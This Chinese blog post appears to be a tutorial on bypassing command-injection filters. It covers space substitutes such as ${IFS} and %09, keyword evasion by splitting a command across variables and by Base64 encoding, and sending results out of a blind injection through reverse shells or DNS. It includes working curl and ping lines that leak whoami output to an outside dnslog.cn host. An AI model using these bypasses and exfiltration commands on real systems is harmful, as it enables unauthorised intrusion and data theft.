开放人员在开发的过程中,为了避免命令执行漏洞,可能会过滤一些命令或者比较常见的攻击payload。攻击者会通过多种方式绕过过滤规则。
绕过空格过滤
1. ${IFS}绕过
$IFS是shell的特殊环境变量,是Linux下的内部域分分隔符。$IFS中存储的值可以是空格、制表符、换行符或者其他自定义符号。空格过滤可以用${IFS}绕过
2. $IFS$9绕过
3. 制表符绕过
%09是制表符的URL编码,可以通过%09来替代空格,绕过空格过滤。
4. {}绕过
空格过滤可以用{}绕过
5. <绕过
绕过关键字过滤
1.变量拼接绕过
Linux支持变量赋值,可以通过变量拼接来绕过过滤规则,如:cat可以替换a=c;b=at;$a$b
2. 空变量绕过
3. 系统变量绕过
${SHELLOPTS}是系统变量,可以利用系统变量的字符拼接绕过过滤
5. Base64编码绕过
例如:id命令的Base64编码为aWQ,再利用base64 -d对aWQ进行解码,这样就绕过过滤,并且正常执行了命令
`echo "aWQ=="|base64 -d`
无回显的命令执行
如果存在命令执行漏洞,但是没有回显,可以通过shell反弹的方式将shell反弹到vps上,然后通过vps执行命令。如果无法反弹shell,也可以通过DNS管道解析的方式获取命令的执行结果。
在Linux系统中,以下两个目录都可以获取用户名
- 在http://dnslog.cn/获取域名
- 执行命令
curl 4t3ykd.dnslog.cn/`whoami`
ping -c 1 `whoami`.4t3ykd.dnslog.cn
标签:变量,IFS,空格,命令,过滤,绕过,执行
From: https://www.cnblogs.com/kalixcn/p/18002501